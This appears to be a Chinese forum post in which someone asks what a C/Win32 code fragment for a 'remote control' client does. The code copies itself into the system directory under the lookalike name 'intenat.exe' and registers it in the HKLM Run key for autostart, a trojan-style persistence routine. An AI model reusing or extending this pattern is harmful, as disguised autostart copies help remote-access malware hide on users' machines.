谁知道这段代码的用意是什么?
// 创建互斥体,保证只有一个实例
char direct[256],fi[256],cur[256];
int dirsize=256,dirsize2;
if((dirsize2=GetSystemDirectory(direct,dirsize))==0)//取得系统目录
return false;
direct[dirsize2]=0;
strcpy(fi,direct);
strcat(fi,"\\intenat.exe");//接上\\intenat.exe
WIN32_FIND_DATA wfd;//WIN32_FIND_DATA描述一个文件结构
if(INVALID_HANDLE_VALUE==FindFirstFile(fi,&wfd))//INVALID_HANDLE_VALUE代表不成功
{
int ii; //找一个目录
ii=GetModuleFileName(hInstance,cur,dirsize);//GetModuleFileName反回路径名和可执行文件名
cur[ii]=0;
CopyFile(cur,fi,true);//考备文件true代表不复盖
}
if ((hOnlyInstance=CreateMutex(NULL,false,"JFY's PeerYou"))==NULL)//创建互斥量
return -1;
else if (GetLastError()==ERROR_ALREADY_EXISTS)
return -1;
HKEY keyRet;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
,0,KEY_READ|KEY_WRITE,&keyRet)==ERROR_SUCCESS)
{
unsigned char value[256];
DWORD type=REG_SZ;
DWORD size;
if(RegQueryValueEx(keyRet,"intenat",NULL,&type,value,&size)!=ERROR_SUCCESS)
{
strcat(direct,"\\intenat.exe");
DWORD nowsize=strlen(direct);
RegSetValueEx(keyRet,"intenat",NULL,REG_SZ,(unsigned char*)direct,nowsize);
}
RegCloseKey(keyRet);
}
// 创建用于退出程序的事件句柄
if ((hExitEvent=WSACreateEvent())==WSA_INVALID_EVENT){
CloseHandle(hOnlyInstance);
return -1;
}
公司让定一个远程控制的程序,给的一段代码,注释可能有误。有人知道他的用意吗,程序是客户端的。